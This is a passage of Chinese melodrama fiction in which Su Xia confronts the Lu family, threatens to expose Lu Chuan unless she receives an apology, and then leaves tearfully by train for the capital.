老爷子被背上车送往医院,杨露疯了似地跑进屋,抓着苏夏又打又骂,“苏夏!你是不是疯了?你就是见不得我好!”
“没疯,”苏夏看向陆镇安,缓缓道,“检验结果不止你撕的那一份,给我道歉,我就放过陆川。”
“你是个女孩子,你以为把这些发到网上对自己有什么好处吗?”
“谁认识我呢,陆哥哥可就不一样了,其实还有更刺激的,我觉得给你们看很浪费,珍藏起来了,你千万别激怒我,就算鱼死网破最后后悔的人也一定是你。”
陆镇安头晕恍惚,她蓄谋已久,杀敌一千自损八百,毁了陆川也搭上自己,就只要一声迟来的道歉。
老爷子情况不好,进了抢救室。
杨露精心打扮的妆容花了,头发也乱了,像丢了魂一样坐在椅子上,陆镇安接到电话匆匆往医院赶,留下来照顾陆诚的人对他毫无办法,只能看着他闹,客厅被砸得乱七八糟。
苏夏走出陆家,将是非黑白统统扔在身后,一直往前走,没有回头,仿佛终于卸掉了身上沉重的枷锁。
她提前买好车票,去京都。
手机里还有一通陆川的未接电话,上车前,苏夏关机取出电话卡,折成两半扔进了垃圾桶。
苏夏身边坐了一个中年妇女,带着孩子,车窗外光线忽明忽暗,六小时后会到达一个完全陌生的城市。
小朋友指着苏夏小声问自己妈妈,这个姐姐为什么哭了。
苏夏才意识到自己满脸泪水。
她为什么哭、为谁难过,这些都不重要。
苏夏戴着耳机,火车经过隧道时眼前一片黑,玻璃窗上仿佛映出一张脸,很快又消失。
陆家被闹得人仰马翻,陆镇安在陆家人面前那副无地自容的样子很解气,她应该很轻松,可又很茫然,心里没有一丝报复的快意。